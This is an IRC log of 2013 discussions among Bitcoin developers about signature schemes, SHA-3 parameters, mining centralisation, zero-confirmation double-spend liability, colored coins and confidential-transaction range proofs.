22:53 < HM3> in DSA you just check, if i remember correctly, that sG is correct
22:53 < gmaxwell> warren: it's expired. Also, you need to go turn in your JD if you think it's not, see in re seagate. :)
22:54 < gmaxwell> (otherwise my response would have been "forget about it, it's patented")
22:55 < HM3> anyway. keeping DSA has no more merit than replacing it if you you plan on breaking compatibility anyway. but it's a fair point that you can derandomize DSA if you don't
22:55 < jgarzik> warren, yep, like Travisa ;p
22:55 < jgarzik> warren, communist state was never destined to make life easy and efficient
22:55 < warren> jgarzik: oh, they do F visas? didn't see that option
22:56 < warren> jgarzik: I like how easy and efficient things are here.
22:57 < gmaxwell> HM3: hm, why do you say that recovery isn't possible in Schnorr? I believe it is, in fact.
22:57 < HM3> doubtful
22:58 < HM3> sipa agreed with me months ago when i asked him as well :P
22:58 < HM3> Appeal to authority! appeal to authority
22:59 < HM3> s = k - xe
22:59 < HM3> sG = kG - xeG
22:59 < HM3> you know eG and sG but not kG (which is r)
23:00 < HM3> and you know e = H(M||r)
23:00 < HM3> and obviously not xG (the key you're trying to recover)
23:01 < gmaxwell> HM3: You know r.
23:01 < HM3> nah, r isn't part of the sig
23:01 < gmaxwell> pray tell how you compute H(M||r) without it in the verifier?
23:02 < HM3> you calculate candidate r
23:02 < HM3> then compute H(M||r) and compare with e, which = H(M||r)
23:02 < warren> Don't worry, only *hard* math is patentable subject matter. Not abstract ideas.
23:02 < HM3> I don't know why Wikipedia uses such silly letters
23:03 < HM3> r should be for the randomly selected number damnit
23:03 < gmaxwell> HM3: ah right, you recover r.
23:03 < HM3> gmaxwell, right, but you need the public key you're verifying against to do it
23:04 < HM3> in DSA you s = (1/k) * (H(M) + xr)
23:04 < HM3> and r = kG anyway
23:04 < gmaxwell> well thats a bummer then, minus one for Schnorr signatures. :P
23:04 < HM3> so it's fairly redundant
23:04 < HM3> gmaxwell, but DSA is broken if there's a collision on your hash function :P
23:06 < gmaxwell> so is schnorr, I take your signature and rebind it onto M' where H(M'||r) == H(M||r). :P
23:06 < HM3> if you were stupid and used a raw SHA instead of HMAC, then trick you in to signing 2 length extended messages such that there was a collision, I can work out your privy
23:06 < HM3> gmaxwell, yes but it wouldn't reveal the private key like DSA would
23:07 < HM3> even your derandomized DSA would if you used H(priv || H(M)) instead of H(priv || M) for the rerandomization bit
23:08 < gmaxwell> Fair enough. I'm not going to argue that you don't need to bother with the private key if you can just rebind, because, I realize that collisions in reality are never quite that freeform. :)
23:09 < HM3> nobody has broken anything decent collision wise yet anyway have they?
23:09 < warren> gmaxwell: thanks for in re seagate, not sure how I didn't see this before.
23:11 < gmaxwell> HM3: sure, md5, though not second-preimages on a arbritaryly selected input.
23:12 < gmaxwell> HM3: I'm busy chastizing myself because I'm usually irritated by people who refuse to distinguish theoretical security from pratical security, and I did almost make that counterargument to you in earnest.
23:13 < HM3> I saw that SHA-3 got knocked down a bit during recent standardisation
23:14 < gmaxwell> HM3: IIRC Schnorr also has nice threshold signatures, alas.
23:14 < HM3> they cut some bit lengths
23:14 < gmaxwell> HM3: yea, they changed the input rate. Which was kinda surprising, because capacity was specifically cited as a reason to exclude cubehash from the final round.
23:15 < HM3> did they give a reason?
23:15 < gmaxwell> Sure, speed.
23:15 < HM3> Pish
23:15 < gmaxwell> Its not entirely unreasonable.
23:15 < gmaxwell> But I was surprised.
23:16 < gmaxwell> DJB did some saber rattling on the NIST list to adjust the capacity to a fixed 576 bits (so a constant 1024 bit input rate)
which is sort of a middle ground (more security for the orignal proposal at 256 bits output, less than the original proposal for 512 bit output). Doesn't sound like NIST or the Keccak team like the proposal. .. but NIST went quiet
with the government shutdown.
23:17 < gmaxwell> For small inputs (e.g. <1024 bits) it doesn't matter.
23:19 < HM3> maybe when they reopen they'll forget they made the change
23:19 < gmaxwell> it's kinda irritating that the NIST list is closed-access. I see that the wikipedia sha-3 article mentions this discussion but has no citation.
23:19 < gmaxwell> well the change apparently was proposed by the Keccak team, which is totally believable the original capacity was the minimum nist required.
23:19 < gmaxwell> DJB basically said FUCK YOU to that requirement and refused to meet it in his proposal, and... well. :P
23:20 < gmaxwell> the other hashes met the requirement but many of then whined.
23:20 < HM3> Good old DJB
23:20 < HM3> I find his written material very accessible
23:21 < gmaxwell> esp having 512 bits of preimage security for the 512 bit hash required >1024 bits of state (in addition to the update state) which was getting a bit burdensome.
23:22 < gmaxwell> the DJB proposed modification to sha3 would have the nice side effect of making it always process 1024 bits at a time, regardless of the output size. On that basis I like it.
23:22 < HM3> and presumably that allows for optimisation
23:23 < gmaxwell> (currently it does something like 1344 bits at a time for 256 bit output, and 1088 bits at a time for 512 bit output)
23:23 < gmaxwell> well it simplifies implementations at least, might also make hardware versions that do both sizes easier.
23:24 < HM3> 1337 bits would have been better
23:24 < gmaxwell> I am imagining millions of duck sized engineers stabbing you in the foot.
23:26 < HM3> ah well, i must retire to bed
23:26 < HM3> i'll take that duck sized engineer thing with me
--- Log closed Tue Oct 15 00:00:11 2013
--- Log opened Tue Oct 15 00:00:11 2013
02:12 < warren> sipa: http://dilbert.com/dyn/str_strip/000000000/00000000/0000000/000000/00000/2000/300/2318/2318.strip.gif
02:16 < sipa> let me guess
02:16 < sipa> yup :)
02:26 < warren> sipa: just as likely as my one time pad
05:36 < wumpus> https://github.com/bitcoin/bitcoin/issues/3090 CodeBug : should compare return value from memcmp with zero.
05:36 < wumpus> wrong channel
08:45 < HM3> since Bitcoin already uses boost you could use boost array instead of 'vch' in CKey
08:45 < HM3> would have got operator== for free
09:56 < petertodd> BlueMatt: from the point of view of a SPV node, verifying that a block header is correct is verifying it fully, so relaying that header (or even full block) to other SPV nodes does no harm.
09:57 < sipa> well, you would at least want to announce that you did not verify transactions in that case
09:57 < petertodd> BlueMatt: anyway, I put that in the BIP to show how NODE_BLOOM should be thought of "I'm willing to apply bloom filters to stuff I relay to you" and nothing more
09:57 < petertodd> sipa: which you do because you didn't set NODE_NETWORK (in that case)
09:58 < sipa> right, NODE_BLOOM is orthogonal to what you are relaying
09:58 < petertodd> sipa: exactly
09:59 < petertodd> You could (uselessly) say NODE_BLOOM and !NODE_* just means I'm willing to apply bloom filters to the nothingness I will relay to you; if you implement this I suggest you apply for an art grant.
09:59 < sipa> perhaps apply it to addr or alert messages :p
10:00 < petertodd> With an extended NODE_BLOOM definition that makes a lot of sense.
14:41 < gmaxwell> uh. Michael Gronager has ... um. not quite sure what to call it: https://bitcointalk.org/index.php?topic=310954
14:43 < petertodd> looks fixable to me, though ugly
14:44 < gmaxwell> yea, it's apparently already fixed.
14:45 < gmaxwell> 50% drop in namecoin exchange rate though.
14:45 < petertodd> good example of how blockchains can separate proof-of-data distribution, global consensus on ordering, and the actual rules themselves...
14:45 < petertodd> ha, yeah, I should have quickly bought some at the low point :P
15:07 < warren> amusing to see the deniers in the thread
15:10 < amiller> does anyone know who first created namecoin
15:10 < sipa> vinced?
15:15 < K1773R> gmaxwell: (namecoin) holy, thats horrible... i wonder why nobody looked at it :S
15:16 < sipa> i suppose because nobody competent cared? *ducks*
15:16 < amiller> but no one has heard from vinced in a long time?
15:17 < petertodd> K1773R: namecoin isn't getting used for anything yet; it just hasn't caught on
15:17 < petertodd> K1773R: well, other than speculators...
15:18 < K1773R> petertodd: i used it as backup solution for important stuff
15:18 < sipa> eh?
15:18 < petertodd> K1773R: backup? how so?
15:18 < K1773R> your aware its just a simple key/value storage?
15:19 < sipa> yes
15:19 < sipa> but there are certainly easier ways
16:17 < amiller> jtimon, ok well fair enough, that is indeed a good way to do it, but you probably also need a way of discouraging utxo bloat
16:18 < jtimon> amiller I advocate for explicit colors
16:18 < amiller> jtimon, yes i advocate for it too, i just don't see what the solution is for discouraging utxo bloat now that you add a functionality that increases it
16:19 < jtimon> if nobody has to store the full utxo, utxo bloating is not that much of a problem
16:20 < maaku_> amiller: this doesn't result in any utxo bloat...
16:20 < amiller> do coins have at most 1 color or something?
16:20 < maaku_> scripts are in the txin, not out
16:20 < killerstorm> amiller: color tag is just a hash of genesis transaction or something like that. ~32 bytes per UTXO won't hurt.
16:20 < maaku_> amiller: yes
16:21 < amiller> ok that sounds pretty nice.
16:21 < amiller> adding that single op code and that single change to UTXO is by far the simplest way of getting fairly scalable colored coins usage.
16:22 < killerstorm> jtimon: there is no difference between OP_CHECKCOLORVERIFY and explicit colors. OP_CHECKCOLORVERIFY can be in scriptSig.
16:22 < amiller> i'd be really interested to see that
16:22 < jtimon> killerstorm: in fact, in the next version of freimarkets specs, you can save the tag, by ommiting it you mean "the same color as the previous output"
16:22 < killerstorm> jtimon: I mean I'm not aware of any practical difference.
16:22 < amiller> that sounds pretty great to me
16:22 < amiller> how about a reference impl that deviates minimally from satoshi client?
16:24 < maaku_> amiller: what scheme are you talking about?
16:24 < killerstorm> Well I've heard iXcoin guys are interested in implementing this, but they lack developers. (Essentially it is just the guy who does the marketing...)
16:24 < killerstorm> I've outlined the spec although I'm not sure about some decisions.
16:25 < jtimon> saposhi nasakyoto I think (I can't believe ixcoin is alive, and there's still people who say MM kills altcoins...)
16:29 < jtimon> but yeah, why not use it to experiment
16:30 < jtimon> is already MM, it's in a great position to be used for this things
16:31 < killerstorm> It got new life: new PR/marketing team :)
16:32 < killerstorm> MM means that it is 100% controlled by ghash.io
16:32 < jtimon> killerstorm, how do you implement per-asset interest/demurrage with OP_CHECKCOLOR ?
16:32 < jtimon> only ghash.io merge-mines it?
16:33 < killerstorm> No, ghash.io has 40% of bitcoin hashpower and is mining alt-coins. Since some Bitcoin miners do not do merged mining, this means that ghash.io hash more than 50% of hashpower of Namecoin and IXCoin
16:34 < petertodd> killerstorm: +1 wish people realized that earlier
16:39 < warren> http://en.wikipedia.org/wiki/Savitch's_theorem
16:39 < warren> (for those thinking of memory hard to hash but easy to validate PoW, would this theoretical limit apply?)
16:42 < petertodd> I'm not seeing the connection
16:49 < jtimon> I don't see why memory hard is better
16:50 < warren> I didn't say it was.
16:50 < warren> people were discussing it here in past months
16:50 < petertodd> jtimon: the theory is memory hard targets memory, which is most likely to be an availalbe commodity product and thus escapes the ASIC centralization trap
16:51 < petertodd> jtimon: however, practical memory hard that really is ASIC-hard appears to be a very difficult problem
16:51 < petertodd> jtimon: reasonably easy to do in cases where the work to be done in non-parallizable, but crypto-consensus systems must be parallelizable
17:01 < jtimon> I don't see why ASICs are worse
17:05 < warren> IMHO, mining pool centralization is the real problem, not ASIC's.
17:07 < jtimon> warren, agreed, and I thought that was solved with trustless pools (p2pool, eligious...)
17:07 < petertodd> jtimon: ASICs centralize control in the hands of a very small number of chip fabs
17:08 < maaku_> petertodd: meh, coordinated quality control could mitigate that
17:08 < petertodd> jtimon: and p2pool and getblocktemplate don't "solve" the problem because there's no incentive to use either
17:08 < petertodd> maaku_: huh?
17:08 < maaku_> petertodd: a scanning electron microscope is not hard to get access to
17:09 < petertodd> jtimon: they *do* help with "non-selfish" actors, but they fall short of the security ideal where bitcoin is secure in the presense of selfish actors
17:09 < maaku_> there should be efforts to take asic chips at random from batches and do SEM scans of their circuits
17:09 < maaku_> then anyone with tools can verify that they are not backdoored
17:09 < petertodd> maaku_: the problem isn't hardware that's bugged, the problem is getting hardware at all - those chip fabs can easily *publicly* control the bitcoin network
17:10 < jtimon> can't the operator of a centralized pool cheat you somehow?
17:10 < maaku_> jtimon: out of your shares, yes
17:10 < jtimon> or decide for you what transactions to, say censor?
17:11 < petertodd> jtimon: they can cheat you in lots of ways, that doesn't change the fact that per unit hashing power they'll be more profitable in many scenarios
17:11 < maaku_> jtimon: using GBT you can choose your own transactions
17:11 < petertodd> jtimon: after all, they might own the hashing power too you know in which case cheating doesn't even come into it - ghash.io owns much of their physical hashing power
17:11 < petertodd> maaku_: in theory, in practice pools don't allow that - very high bandwidth cost
17:12 < maaku_> well, eligius does
17:12 < jtimon> maybe centralized operators aren't being as malevolent as they "should"
17:12 < petertodd> maaku_: yes, and eligius is being operated by alturistic people
17:12 < petertodd> jtimon: who cares? what matters is that our security isn't as good if we have to rely on that
17:13 < maaku_> meh, i would say that eligius is operated by knowlegable people/person
17:13 < sipa> it's my theory that if every actor started out as malevolent/selfish/rational, bitcoin would never have worked
17:13 < sipa> it's an experiment in building a system that doesn't need trust in many actors
17:13 < maaku_> as bitcoin matures i expect more pools to act like Luke-Jr
17:13 < sipa> but we'll need to get there step by step
17:13 < jtimon> sipa you're probably right, the start was incredible difficult
17:14 < maaku_> or maybe the causality is reversed - bitcoin will never mature unless more pools act like Eligius does
17:14 < maaku_> either way once it happens, it happens
17:14 < jtimon> I mean, I wasn't around, but...it's surely the hardest part
17:15 < petertodd> sipa: yes, we got incredibly lucky there
17:16 < petertodd> fact of the matter is that relying on alturism is dangerous and subject to sudden changes
17:16 < petertodd> never mind the fact that what were were talking about, ASIC-hardness, has nothing to do with alturism
17:17 < sipa> yup, but removing much it suddenly is equally dangerous
17:17 < petertodd> sipa: what do you mean by "removing" it?
17:17 < petertodd> sipa: no-one is proposing removing anything
17:17 < sipa> oh, i'm not saying that
17:18 < sipa> but if suddenly many people/miners/whatever started acting selfishly, i'm sure it could hurt bitcoin's survival chances
17:18 < sipa> +suddenly
17:18 < petertodd> oh sure, but the fact that it would hurt just shows that bitcoin is poorly designed
17:18 < sipa> i'd say it just isn't evolved enough :)
17:19 < petertodd> heh, equally true statement
17:19 < petertodd> though the ugly thing is changing the design is probably an economic change so...
17:20 < petertodd> anyway, as I said about the selfish miner attack, these attacks are real, and we're damn lucky that for now the big players are acting alturisticly, take advantage of that time to study alternatives so we'll have them ready when they're needed
17:20 < jtimon> come'on miners have to attack MM chains because "the good of their coin is their good", but they cannot trustless mine because "it is not selfish enough"?
17:21 < petertodd> jtimon: what do you mean by trustless mine?
17:21 < jtimon> p2pool, eligious
17:21 < sipa> p2pool/gbt?
17:21 < jtimon> yes
17:21 < petertodd> jtimon: remember, my point re MM attack was that if you have a big pool, then your MM chain is in a dangerous position
17:22 < petertodd> jtimon: my point with trustless mining is that it *costs more* than just pointing your hashing power at ghash.io
17:22 < jtimon> my point now is to apply your same "for the future of the coin" reasoning for miners to use p2pool/gbt
17:22 < petertodd> after all, this all came up with mastercoin when I got hired to analyze what type of blockchian they should use, and the result was "Why use anything less secure?"
17:23 < petertodd> jtimon: that's a very bad comparison - you're comparing the behavior of a large pool to a small hasher
17:24 < jtimon> a large pool is composed of small hashers
17:25 < jtimon> if anything, they should be more stupid in groups, no?
17:25 < petertodd> not at all, think in terms of incentives to defect and do what's better for you, but worse for the group
17:25 < petertodd> IE, I earn more money for less work if I hash at ghash.io
17:26 < petertodd> vs. "I'm a 30% pool and killing off FooCoin is cheap and easy and the public doesn't like it anyway so the PR will be good for me."
17:26 < petertodd> (especially relevant in my advice to mastercoin you know...)
17:26 < jtimon> IE, I earn more money for less work if I MM instead of attacking a "competing" coin
17:26 < petertodd> oh piss off, scale makes the incentives very different
17:26 < sipa> merge mining a tiny currency doesn't gain you anything significant
17:27 < jtimon> your advice to mastercoin was to use your proof of sacrifice design draft?
17:27 < jrmithdobbs> jtimon: you're failing to control for internet assholes
17:27 < jtimon> sipa how much you lose by gbt vs ghash.io ?
17:27 < jrmithdobbs> "Some men just like to watch the world burn."
21:18 < petertodd> what? satoshidice?
21:19 < Luke-Jr> yes
21:19 < petertodd> ok, go to a jurisdiction where gambling is legal and or replace that example with another business
21:20 < Luke-Jr> I don't see a court accepting the basis that I am forced to do business with <other business>
21:20 < petertodd> Or heck, lets say I write an Android app called "Rip off zeroconf merchants!" that automates the process, and give Eligius 10% of the stolen funds in terms of fees.
21:20 < Luke-Jr> even outside of bitcoin, I have the right to choose who I do and don't do business with
21:20 < petertodd> This has nothing to do with who you choose business with - no-one is making you mine those transactions.
21:21 < petertodd> We're just forcing you to follow standard good practice and accept them into your mempool so double-spends can be detected and not mined.
21:21 < gmaxwell> well be careful to distinguish civil liability and criminal.
21:21 < gmaxwell> I think making a criminal claim out of anything in this space would be very hard.
21:21 < gmaxwell> It's too easy to deny intent.
21:21 < Luke-Jr> petertodd: accepting them into my mempool is forcing me to provide a service to them
21:21 < petertodd> gmaxwell: indeed, and civil is majority, which is a much lower bar...
21:21 < gmaxwell> (except in cases like ghash.io where they were directly and obviously profiting from it)
21:22 < petertodd> gmaxwell: I brought up the app example because it could be used in court to infer conspiracy to commit a crime.
21:22 < Luke-Jr> petertodd: why should I be forced to provide conflict detection services for <your business>?
21:22 < gmaxwell> In a civil claim, its almost sufficient to just show someone was harmed and that you were on the critical path.
21:22 < petertodd> Luke-Jr: what gmaxwell said...
21:22 < petertodd> Luke-Jr: you are being forced to take the minimal accepted prudent action
21:23 < gmaxwell> It's uncertian what the standards people would be held to in the future.
21:23 < petertodd> gmaxwell: +1 - Reality is this is all uncertain.
21:23 < Luke-Jr> petertodd: especially in the case of a spammer, who is abusing these exact resources
21:23 < gmaxwell> Basically as petertodd says. Doing something unusual that is responsible for someone else losing money, which you could or should have foreseen, may leave you with civil liablity.
21:23 < gmaxwell> _may_
21:23 < gmaxwell> In the case of these gambling services its totally moot.
21:24 < Luke-Jr> gmaxwell: even if they know they can lose money?
21:24 < petertodd> gmaxwell: yup, which is why defacto-zeroconf scares me a lot - the other half of it is "something unusual" might just mean you didn't invest as much money in network bandwidth
21:24 < gmaxwell> Their services are very likely unlawful in any jurisdicition that you care about being exposed to, and so they don't get to enjoy relief from the courts.
21:24 < gmaxwell> Luke-Jr: sure, and in defense someone being accused of a civil claim here would point to the fact that everyone knows zeroconf is unsafe.
21:25 < petertodd> Luke-Jr: "Every knows zeroconf is unsafe? Why we have the Lead Developer of Bitcoin on record saying it's safe for low-value transactions and that no pool would mine double-spends to preserve the value of their Bitcoins."
21:25 < gmaxwell> Luke-Jr: most of the US uses https://en.wikipedia.org/wiki/Comparative_negligence in deciding these things...
21:26 < gmaxwell> It's possible to get a decision that "yea, they should have known it was unsafe, so you're only 5% at fault"
21:26 < petertodd> Yup, and 5% of tens of thousands might still bankrupt you.
21:27 < gmaxwell> more importantly, you really just want to not be in a position where someone can bring a claim to court.... just defending is very expensive.
21:27 < petertodd> nor do you want to be in a position where some regulator is actually working behind the scenes to make the case happen
21:28 < Luke-Jr> all sounds like more reason to remove any sense of "defaults" from bitcoind
21:28 < gmaxwell> well, the right case happening wouldn't be so bad.
21:28 < petertodd> Luke-Jr: that I agree with mostly
21:29 < phantomcircuit> gmaxwell, boy is it
21:29 * petertodd brb, starting a fake ringtone company to set precedent
21:30 < gmaxwell> you really want the precident setting defrauded site to be that girls gone wild guy
21:31 < petertodd> ha, ok, "pay by the minute barely legal live BDSM porn"
21:31 < Emcy> cant you just ensire tor mining is a thing for the foreseeable and preclude all this nonsense
21:32 < petertodd> Emcy: "As a major pool, you should put a stop to this nonsense by discouraging blocks with double-spends." <- I've seen this as a suggest way too many times
21:32 * warren is anyone else creeped out by that guy?
21:33 < petertodd> warren: which guy?
21:34 < Emcy> whats wrong with discouraging double spends
21:34 < petertodd> Emcy: by that I mean if you see a block with a double-spend in it, you delibrately orphan it
21:34 < petertodd> Emcy: is very dangerous for consensus
21:34 < Luke-Jr> nOgAnOo: yes; no
21:35 < Emcy> i didint know you could get a double spend into the same block
21:35 < petertodd> Emcy: block would double-spend a tx in the mempool in this case
21:35 < Emcy> that seems bund
21:50 < gmaxwell> Does anyone offer abortions for bitcoin? Now there would be your double feature test case.
21:50 < gmaxwell> catholic abets a double spend fraud of a payment for an abortion. 0_o
21:54 < Luke-Jr> gmaxwell: you didn't think that through ;)
21:54 < Luke-Jr> I'm not about to aide someone seeking a murder for hire
21:57 < warren> Luke-Jr: now sure how you'd code that into eligius ...
21:58 < gmaxwell> Luke-Jr: no thats exactly the point.
21:58 < gmaxwell> Luke-Jr: someone accepts payments for abortions. You, as expected, block the transactions if you can.
21:58 < gmaxwell> They get ripped off via a double spend as a result.
21:59 < warren> gavinandresen: sent
21:59 < gmaxwell> Now they sue you claiming that you're culpable for the theft. You defend saying that it would be unconscionable to demand that you knowingly aid their enterprise.
22:00 < Luke-Jr> hmm, in that case I'd have to figure out a way to blacklist the coin ;)
22:01 < gmaxwell> I didn't mean it seriously in any case, its a thought expirement about miner culpability. (and what a perrilous route it is)
22:02 < gavinandresen> petertodd: zero-confirmation transactions can be made "safe-enough" for in-person low-value transactions where there is some trust that the person standing in front of you isn't colluding with a miner to double-spend.
22:03 < gavinandresen> trust/safety are not booleans
22:04 < warren> does the android wallet tell you about double spends?
22:05 < gmaxwell> petertodd: does android wallet still hide (some?) confirmed nlocktime payments?
22:05 < Luke-Jr> it doesn't even get normal spends right, so I doubt it
22:06 < Luke-Jr> btw, anyone here know an accountant into bitcoin?
22:06 < gmaxwell> TD[away]: Were you ever able to get android wallet to compile?
22:11 < BlueMatt> gmaxwell: huh? the android wallet is easy to compile
22:11 < BlueMatt> or are you talking about a branch?
22:14 < gmaxwell> derp right it was multibit that had the issue, now AW.
22:16 < warren> nOgAnOo: You are not being helpful here.
22:37 < jrmithdobbs> Is there a testnet chain big enough for io subsystem fuzzing?
22:38 < jrmithdobbs> I want 100k or so blocks I can throw at n bitcoind instances in parallel for parsing/indexing
22:39 < warren> testnet3 has over 100k blocks
22:39 < warren> not very big though
22:40 < jrmithdobbs> Guess I can jus use the real chain.
22:41 < jrmithdobbs> Actually. Tesnet3 may be ideal
22:41 < jrmithdobbs> Less CPU choking on smaller blocks and more io thrashing
22:43 < jrmithdobbs> Someone have it in a < .8 && <= bdb 4.8 format somewhere?
22:45 < Luke-Jr> uh?
22:45 < Luke-Jr> blockchains don't use db formats
22:47 < jrmithdobbs> The Indra
22:47 < jrmithdobbs> Index
22:48 < jrmithdobbs> Guess could just reindex it, forget how non-intensive test net processing is. ;p
--- Log closed Thu Nov 21 00:00:50 2013
--- Log opened Thu Nov 21 00:00:50 2013
00:42 < petertodd> gmaxwell: no, it's even worse now: looks like anything other than standard nSequence=max and nLockTime=0 just doesn't show up in the wallet at all
00:43 < gmaxwell> petertodd: wow, so setting locktime to other values will hose them, even if the sequence was always max? :-/
00:43 < petertodd> gmaxwell: yup
00:43 < petertodd> gmaxwell: how do people fuck this shit up?
00:43 < petertodd> gmaxwell: the previous behavior was *better* than that
00:46 < gmaxwell> petertodd: thats the kinda question you can only answer by looking at commits.
00:51 < petertodd> gmaxwell: it's probably something to do with edf37998ca6c47c31a72271db136ac94ce2a6a13 in bitcoin
00:52 < gmaxwell> bitcoinj*
00:52 < petertodd> er, right
00:54 < petertodd> gmaxwell: sheesh, it's some new "risk analyzer" thing to try to analyze the risk of double-spends - I should submit a patch that replaces all that stupid code with a single simple calculation that always returns NaN
00:55 < gmaxwell> the logic in the commit message sounds like the bitcoin-qt wallet behavior, its not insane.
00:56 < petertodd> gmaxwell: my point is the thinking behind it
00:56 < petertodd> gmaxwell: anyway, it's probably just that the API changed and somehow it ended up with default off - there's no reference to any of it in bitcoin-wallet
05:18 < TD> gmaxwell: the android wallet? sure. it was multibit that was the problem, right? jim said he fixed that a couple of weeks ago but i didn't try building it since
05:18 < TD> gmaxwell: i had to spend time trying to make bitcoin-qt compile again
05:18 < TD> compiling sucks
05:20 < TD> i guess we should try and keep normal dev stuff in #bitcoin-dev though
05:20 < warren> TD: you use mac?
05:21 < TD> otherwise all we managed is to split one dev channel into two. let's keep #wizards for researchy stuff
05:51 * Luke-Jr facepalms
13:57 < adam3us> amiller: yes... well and by a public constant multiplication
13:57 < adam3us> amiller: so you can actually do ratios also from that
13:58 < amiller> help me understand the range proof
13:58 < amiller> start with notation for like, one input and two outputs
13:59 < adam3us> amiller: its knarly :) the basic idea is you need to prove v from vG+xH with v < 2^m
14:00 < amiller> i'll be happy if i can understand that a) ZK proof that the sum of outputs = sum of inputs, without overflow, b) the receiver learns one of the output values, but not the other output or the input, and c) both outputs are in a form suitable to be used in subsequent transactions
14:00 < adam3us> amiller: its schoenmakers protocol, I just optimize the application of it
14:00 < adam3us> amiller: yes
14:00 < adam3us> amiller: so call the bits of v = v_m ... v_1
14:01 < adam3us> now you prove separately that v_i is either 0 or 1 using generic ZKP of OR which is to introduce a degree of flexibility where the prover can intentionally forge one of the two proofs (but not both) as c=H(params), c1 = random, c2 = c xor c1 prove wrt those 2 challenges
14:03 < amiller> ahhhhh
14:04 < adam3us> amiller: and the rest is basically to obscure it and then there's a verification relation involving 2^j and the random values committed to and showing sum xi = x and you're good to go :)
14:04 < amiller> i think i remember how to do ZK of OR...
14:04 < adam3us> amiller: then i optimized the heck out of the serialization, and what needs to be unique, can be derived from a seed, reused, computed (pub key from sig with schnorr) etc
14:05 < adam3us> yeah you just forge the one that is wrong and choose c1 as a result of that computation then set c2 = c-c1 mod n and do a real proof on that ne
14:08 < adam3us> amiller: the way you avoid the sender knowing too much about the receivers secrets is you create a null value 0G+x0*H aka x0*H (and prove that is true using a schnorr sig) and then the sener adds the payment to it, and yet the sender does not know x0
14:09 < adam3us> amiller: so eg the sender could send 5*G+x1*H and the result is 5*G+(x1+x0)*H and the sender doesnt know x0; sender has to send 5, x1 to recipient out of band or encrypted
14:11 < adam3us> amiller: you can also do proofs of equivalence of discrete log and auditable encryptin so I think you could probably validate that E(5),E(x1) matched the coin, though I didnt work out the details on that and it doesnt seem necessary because the recipient doesnt have to use the input
14:13 < adam3us> petertodd: "is that linear with the number of txouts?" yes; you do a range proof on each output, but you dont need to when you use teh output as the input to a following transaction as its already done
14:14 < adam3us> petertodd: "does it handle any combination of # of txins and # of txouts?" yes, and some of them can be unencrypted optionally (eg the fee)
14:16 < petertodd> adam3us: ok, sounds like this is a bit of an issue with large transactions, as there's a trade-off between "publish the whole tx" as your fraud proof, and having more complex merkle trees
14:16 < petertodd> see, we were thinking of doing merkle sum trees extending into the transaction txins and txouts, which is cheap with un-hidden values, not so cheap with a homeomorphic system
14:19 < adam3us> petertodd: "yes, but the only thing stopping it is that it's possible to mine outside of government control! Reality is with the current system, even with TXO commitments and fraud proofs, at some point a large blocksize will lead to that scenario." i think we have problems like that, and seemingly a number of people dont recognize it yet; I am also not
sure such an asic friendly mining function is good either
14:20 < adam3us> petertodd: in an ideal world one could remove miners, and everyone with whatever power can direct mine for their respective tiny reward
14:20 < petertodd> yes, ASICs are very much the other part of that problem....
14:22 < adam3us> petertodd: you can do better than scrypt(iter=1) - I saw some folks on the forum were proposing a mix of 16 aes and 16 sha3 finalists to increase chip layout; also something dynamic could help; apparently dan kaminsky has some idea about a x86 proof of work which would be inefficient on non x86
14:23 < petertodd> adam3us: If I were to design bitcoin 2.0, I'd design a system where you lose 1% of the value of your coins every year to pay for security, mining can't be outsourced via some type of scheme where rewards can be stolen by whomever did the mining, mining could be done on a small scale, (aka what p2pool does for bitcoin, though probably not that mechanism)
and the pow function was commodity hardware friendly (hopefully no worse than 2x or 3x less cost effective than custom asics)
14:23 < adam3us> petertodd: so about that (no mining pools) is there some way to rely only on a time-stamp server or beacon without having miners validate anything
14:23 < petertodd> yeah, I'm dubious about anythign that targets a chip architecture, too easy to just make an asic that optimizes the architecture, and archs change over time anyway
14:23 < petertodd> I think only mem-hard mining has any hope of working
14:24 < adam3us> petertodd: yes - i think the people who defend hashcash-sha256^2 have some point which is that hardware ALWAYs wins, and if its complicated or dynamic algorithm the only people with the hw will be people with $100m+ to play with
14:25 < adam3us> petertodd: then we'll see centralization in an even harder to combat form - anther idea is to kick start a not-for-profit open hardware sha256 asic mining manufacturer
14:26 < petertodd> adam3us: see, I strongly disagree on principle because computer ram is stupidly optimized for it's task; design a good ram-hard pow and the custom part of a potential asic will be small enough that at worst it becomes a cottage industry where the custom parts are relatively easy parts like custom pcbs
14:26 < petertodd> adam3us: problem is I haven't figured out how to actually do that...
14:26 < adam3us> petertodd: i dont know much about hw but that seems like a good idea, as butterfly et al are suspected of premining or fatal incompetence
14:26 < adam3us> petertodd: apparently thre's another one called ROMix by the Scrypt author
14:26 < petertodd> adam3us: you mean an open hardware asic mining designer... we're probably never goign to have decentralized IC manufacturing due to the nature of the business
14:26 < petertodd> adam3us: having open designs doesn't help
14:27 < petertodd> *much
14:27 < adam3us> petertodd: Scrypt itself is time-memory tradeable as it was a non-requirement to fix it
14:27 < petertodd> adam3us: yup
14:27 < adam3us> petertodd: yes i agree its not so uch the openness as the ready availability shipped on payment (not 1 year later when its barely profitable)
14:28 < petertodd> See, at a high level, we can do interactive proof-of-storage, but we can't do non-interactive proof-of-storage. (specifically I mean you had some ram that was dedicated to a task for a given amount of time)
14:29 < petertodd> We can do proof-of-memory-bandwidth, but that doesn't appear to be ASIC hard: commodity ram *does* have various trade-offs between total storage, and bank bandwidth, and if you proof bandwidth * time, you can make an ASIC targetting that. (or your algorithm's constants become obsolete over time)
14:29 < petertodd> proof-of-memory-bandwidth also has the annoying habit of being symmetric, computation and validation are both expensive. (litecoin's been optimizing their scrypt implementation to speed up block header validation)
14:30 < adam3us> petertodd: i was wondering if many-ported ram could be a problem too (eg dual ported gfx ram to its logical conclusion eg 16-ports, 128ports)
14:31 < petertodd> adam3us: that's exactly what I mean! for instance I had a scheme for an asymmetricly validatable proof-of-work function with merkle trees where the size of the proofs was directly related to the parallelism possible, and commodity ram had way less parallelism than optimal
14:31 < adam3us> more high level though is there a way to base transaction ordering on a distributed timestamp server or distributed beacon without so much having the miners digging into the tx details
14:32 < petertodd> sure, but how do we keep the timestamp/beacon system secure?
14:32 < adam3us> yes; again hardware ALWAYS does better - its like a rule of physics or something
14:33 < adam3us> petertodd: well for example everyone mines timestamp commitments for reward
14:33 < adam3us> petertodd: thats nearly what committed tx looks like really
14:33 < petertodd> adam3us: no it's not! not pragmatically anyway, sure it'll always be at least some epsilon better, but we can live with ASICs being, say, 2x or 3x more cost efficient - basically that just makes tx's that people want to censor some reasonable amount more expensive. Not perfect, but we can live with that.
14:33 < adam3us> petertodd: the miner doesnt learn much except its ordering something opaque
